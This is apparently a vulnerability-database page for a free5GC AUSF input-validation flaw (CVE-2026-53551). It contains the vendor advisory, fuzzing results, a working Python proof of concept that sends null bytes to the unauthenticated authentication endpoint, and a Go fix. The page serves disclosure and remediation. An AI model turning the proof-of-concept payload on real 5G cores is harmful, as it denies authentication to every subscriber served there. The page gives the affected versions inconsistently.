Skip to main content

free5GC AUSF CVE-2026-53551

| EUVDEUVD-2026-51628 MEDIUM
Improper Input Validation (CWE-20)
2026-07-31 https://github.com/free5gc/free5gc GHSA-qj55-47fp-p62j
6.9
CVSS 4.0 · Vendor: https://github.com/free5gc/free5gc
Share

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY
6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

Network-accessible, unauthenticated endpoint with no prerequisites; C:L for stack trace disclosure; A:H because sustained flooding saturates the sole authentication path for all subscribers.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 31, 2026 - 20:40 vuln.today
Analysis Generated
Jul 31, 2026 - 20:40 vuln.today
CVSS changed
Jul 31, 2026 - 20:22 NVD
6.9 (MEDIUM)

DescriptionCVE.org

Summary

The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale-4.1% of special_chars mutations produce HTTP 500-causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).

---

Details

The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:

json
{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

The AUSF container log shows: net/url: invalid control character in URL.

Attack chain:

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error-the service survives, but the denial is equally effective.

Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:

StrategyRequestsHTTP 500sTrigger Rate
special_chars98,3044,0214.1%
seed_replay132,4287,9476.0%
grammar_aware30,9446832.2%

100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

python
#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404

Run: python3 reproduce.py

Expected fix (input validation + URL escaping):

go
import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))

Impact

PropertyValue
AuthenticationNone required (unauthenticated SBI endpoint)
ImpactDenial of Service - AUSF returns HTTP 500 for all authentication requests during attack
Information LeakHTTP 500 response leaks internal net/url.Parse error, enabling backend fingerprinting
Affected versionfree5GC v4.2.2 (latest)
FixValidate supiOrSuci before URL construction; use url.PathEscape()

Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.

AnalysisAI

Null byte injection in the free5GC Authentication Server Function (AUSF) v4.2.1 and earlier allows unauthenticated remote attackers to crash Go's URL parser and force HTTP 500 responses on the authentication endpoint, denying authentication service to all legitimate 5G subscribers sharing that AUSF instance. A publicly available Python PoC is included in the vendor's own security advisory, and fuzzing demonstrated a 4.1% trigger rate across nearly 100,000 requests - confirming reliable, scalable exploitation against the default deployment with no special configuration required. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Install
technique details hidden
C2
technique details hidden
Execute
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation The AUSF POST /nausf-auth/v1/ue-authentications endpoint must be network-reachable - no authentication credentials are required (PR:N per CVSS 4.0 vector, consistent with the advisory's explicit 'None required' authentication rating). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-assigned CVSS 4.0 score of 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L) nominally reflects low availability impact to the vulnerable system, but this understates operational risk for 5G core operators: the AUSF is the sole authentication gateway in a 3GPP 5G SA core, meaning a sustained flood of malformed requests - achievable with the published PoC - can deny authentication to the entire subscriber base served by that network function. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade free5GC to v4.2.2 (https://github.com/free5gc/free5gc/releases/tag/v4.2.2) and the AUSF module to v1.4.5 (https://github.com/free5gc/ausf/releases/tag/v1.4.5), which apply the input validation patch from PR #61 (commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e); this causes the handler to reject malformed supiOrSuci values with HTTP 400 before any URL construction occurs, with no functional impact on well-formed requests. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Share

CVE-2026-53551 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy